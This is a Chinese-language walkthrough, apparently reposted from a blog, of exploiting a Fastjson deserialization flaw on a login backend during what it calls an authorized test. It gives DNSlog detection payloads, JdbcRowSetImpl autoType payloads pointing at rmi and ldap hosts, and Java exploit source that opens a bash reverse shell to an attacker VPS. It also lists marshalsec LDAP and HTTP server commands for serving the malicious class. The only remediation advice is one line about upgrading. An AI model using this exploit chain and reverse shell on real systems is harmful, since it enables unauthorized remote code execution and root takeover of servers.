Fastjson反序列化漏洞复现(实战案例)

Posted @A1

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Fastjson反序列化漏洞复现(实战案例)相关的知识,希望对你有一定的参考价值。

漏洞介绍

FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

通俗理解就是:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。

前言

以下为有授权测试,未经授权,千万不要触碰法律。

拿到项目后找到了一个后台登录的页面,然后尝试弱口令(yyds)无果

抓包尝试是否存在注入,这里看到是json请求,就尝试去构造或者破坏原有的json请求,从返回的数据包中可以看到有fastjson字样,如果没有报错回显,就使用dnslog进行验证(后面会说到)。

尝试是否存在fastjson反序列化漏洞,构造以下payload看到了版本信息:

Set["@type":"java.net.URL","val":"http://dnslog"]
Set["@type":"java.net.URL","val":"http://dnslog"

 网上查了一下此版本存在漏洞

使用dnslog验证

payload


 "a":
 "@type":"java.lang.Class",
 "val":"com.sun.rowset.JdbcRowSetImpl"
 ,
 "b":
 "@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"rmi://dnslog.cn/zcc",
 "autoCommit":true
 

 

验证成功,说明存在漏洞,这里也可以用到bp的插件,fastjson scan 一键检测,傻瓜操作,github自行搜索一下

反弹shell 

使用工具:GitHub - mbechler/marshalsec

vps下载完成后进入目录下进行编译

mvn clean package -DskipTests

(第一次自己进行编译,这个过程中遇到了很多问题,就不一一细说了,如果遇到问题的小伙伴多看报错信息,或者私信我也可以)大佬无视。

 编译完成生成了marshalsec-0.0.3-SNAPSHOT-all.jar

新开一个窗口监听端口

root目录下新建一个test.java文件,里面写入EXP源代码

// bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1    这里的ip是vps,以及vps监听的端口6666
import java.lang.Runtime;
import java.lang.Process;

public class test 
    static 
        try 
            Runtime rt = Runtime.getRuntime();
            String[] commands = "bash", "-c", "bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1";
            Process pc = rt.exec(commands);
            pc.waitFor();
         catch (Exception e) 
            // do nothing
        
    

 javac编译生成test.class文件

 再新建一个窗口,启动http服务

python3 -m http.server 8445

 

本地访问一下,可以看到生成的class文件

vps启动LDAP服务,监听1389端口,并制定加载远程类

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://xx.xx.xx.xx:8445/#test" 1389

 

返回burp构造payload反弹shell,可以看到已经是root权限


 "a":
 "@type":"java.lang.Class",
 "val":"com.sun.rowset.JdbcRowSetImpl"
 ,
 "b":
 "@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"ldap://vps:9999/xxx",
 "autoCommit":true
 

fastjson指纹信息

A.抓包改为POST方式,花括号不闭合,返回包就会出现fastjson字样,不过这个可以屏蔽,就用其他办法

B.利用dnslog盲打
1.	利用java.net.Inet[4|6]Address
"@type":"java.net.Inet4Address","val":"dnslog" "@type":"java.net.Inet6Address","val":"dnslog"
2.	利用java.net.InetSocketAddress
"@type":"java.net.InetSocketAddress""address":,"val":"dnslog"
3.	利用java.net.URL
"@type":"java.net.URL","val":"http://dnslog":"x"
4.	其他变形
"@type":"com.alibaba.fastjson.JSONObject","@type":"java.net.URL","val":"http://dnslog”"" Set["@type":"java.net.URL","val":"http://dnslog"] Set["@type":"java.net.URL","val":"http://dnslog" "@type":"java.net.URL","val":"http://dnslog":0

1.2.67版本前
"zeo":"@type":"java.net.Inet4Address","val":"fatu5k.dnslog.cn"
1.2.67版本后payload
"@type":"java.net.Inet4Address","val":"dnslog"
"@type":"java.net.Inet6Address","val":"dnslog"

修复建议

升级到官方最新版本!

以上是关于Fastjson反序列化漏洞复现(实战案例)的主要内容,如果未能解决你的问题,请参考以下文章

网络安全Fastjson的反序列化漏洞复现

网络安全Fastjson的反序列化漏洞复现

fastjson 1.2.24 反序列化导致任意命令执行漏洞 复现详细步骤

fastjson 1.2.24 反序列化导致任意命令执行漏洞 复现详细步骤

vulhub漏洞复现Fastjson 1.2.24反序列化漏洞

FastJson反序列化漏洞(实验文章)